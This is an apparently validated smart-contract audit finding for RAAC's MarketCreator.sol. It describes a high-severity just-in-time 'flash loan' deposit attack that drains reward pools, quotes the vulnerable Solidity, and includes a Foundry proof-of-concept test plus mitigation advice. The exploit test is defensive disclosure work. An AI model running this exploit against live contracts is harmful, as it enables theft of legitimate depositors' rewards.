Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

FlashLoan attack in `MarketCreator.sol`

Summary

The MarketCreator contract is vulnerable to a flashLoan attack. An attacker can exploit the reward distribution mechanism by depositing a huge amount of borrowed funds. This allows the attacker to claim a disproportionate share of the rewards, effectively draining the pool, which could leave legitimate users with minor or even no rewards.
This vulnerability exists because the contract fails to implement restrictions on the timing or size of the deposits, allowing attackers to attain their position relative to total deposit just before the lock period expires.

Vulnerability Details

function participateInMarket(uint256 marketId, uint256 amount) external nonReentrant {
Market storage market = markets[marketId];
require(market.quoteAsset != IERC20(address(0)), "Market does not exist");
require(amount > 0, "Amount must be greater than 0");
market.totalDeposits += amount;
UserPosition storage position = userPositions[marketId][msg.sender];
if (position.exists) {
position.amount += amount;
position.lockEndTime = block.timestamp + market.lockDuration;
} else {
userPositions[marketId][msg.sender] = UserPosition(amount, block.timestamp + market.lockDuration, true);
}
market.quoteAsset.safeTransferFrom(msg.sender, address(this), amount);
emit Participated(marketId, msg.sender, amount);
//?@audit-question: what happens if an attacker joins joins the market with a huge amount making him almost at the endPeriod
//?claiming almost all the rewards in the pool?
}
function redeemFromMarket(uint256 marketId) external nonReentrant {
Market storage market = markets[marketId];
UserPosition storage position = userPositions[marketId][msg.sender];
require(position.exists, "No position found");
require(block.timestamp >= position.lockEndTime, "Lock duration has not passed");
uint256 amount = position.amount;
uint256 reward = calculateReward(marketId, amount);
market.totalDeposits -= amount;
delete userPositions[marketId][msg.sender];
market.quoteAsset.safeTransfer(msg.sender, amount);
raacToken.safeTransfer(msg.sender, reward);
emit Redeemed(marketId, msg.sender, amount, reward);
}
function calculateReward(uint256 marketId, uint256 amount) internal view returns (uint256) {
Market storage market = markets[marketId];
return (amount * market.reward) / market.totalDeposits;
}

Attack Scenerio:

  1. Attacker takes out a large flash loan, depositing it into the market shortly before the lock period expires.
    2 .After the lock period ends, the attacker claims a disproportionately large share of the rewards due to their inflated contribution.

  2. He repays the flash loan keeping the claimed rewards all to himself.
    Key Functions Involved:

  3. participateInMarket: Allows users to deposit funds and participate in market

  4. redeemFromMarket Allows users to withdraw funds and claim rewards.

3.calculateReward: This function adds to it because of the reward calaculation
(amount * market.reward) / market.totalDeposits making the attacker get a larger reward even if deposit is temporal.

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../contracts/core/pools/StabilityPool/MarketCreator.sol";
//import "./MockERC20.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function burn(uint256 amount) external{
_burn(msg.sender, amount);
}
}
contract FlashLoanAttackOnMarketCreator is Test{
MarketCreator marketCreator;
MockERC20 quoteToken;
MockERC20 raacToken;
MockERC20 decrvUSDToken;
uint256 initialDeposit = 100 ether;
uint256 flashLoan = 10000 ether;
uint256 lockDuration = 1 days;
uint256 reward = 100 ether;
address attacker = address(0xdead);
function setUp() public {
quoteToken = new MockERC20("","");
raacToken = new MockERC20("","");
decrvUSDToken = new MockERC20("","");
marketCreator = new MarketCreator(address(this), address(raacToken), address(decrvUSDToken));
quoteToken.mint(address(this), 100 ether);
raacToken.mint(address(marketCreator), 100 ether);
// quoteToken.mint(address(attacker), flashLoan + initialDeposit);
marketCreator.createMarket(address(quoteToken), lockDuration, reward);
quoteToken.approve(address(marketCreator), type(uint256).max);
marketCreator.participateInMarket(1, initialDeposit);
}
function testFlashLoanAttack() external{
vm.startPrank(attacker);
quoteToken.mint(attacker, flashLoan);
quoteToken.approve(address(marketCreator), flashLoan);
vm.warp(block.timestamp + lockDuration - 1 seconds);
marketCreator.participateInMarket(1, flashLoan);
//reedeem imidiately after lock period ellapes
vm.warp(block.timestamp + lockDuration+ 1 seconds);
marketCreator.redeemFromMarket(1);
//Repay the flashLoan mocked here as burned tokens
quoteToken.burn(flashLoan);
vm.stopPrank();
uint256 attackersRewardBalance = raacToken.balanceOf(address(attacker));
console.log("Attacker's reward balance:", attackersRewardBalance);
//Verify attacker claimed 90% of the reward
assertGt(attackersRewardBalance, (reward * 99) / 100, "Attacker did'nt claim most of the rewards");
}
}

Impact

Legitimate users who deposited funds earlier receive little or no rewards as their rewards become to small compared to the attacker's reward.

Such exploits undermine user's trust, as participants may perceive reward distribution is unfair.

Frequent attacks of this nature will reduce participants and affect protocol performance.

Tools Used

Manual review

Recommendations

Ensure all deposits have a minimum lock duration, even if they're made just before the market lock period expires.

  1. Distribute rewards based on deposit and time funds were locked. Also limit the max deposit size to prevent unnecessarily big contributions.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.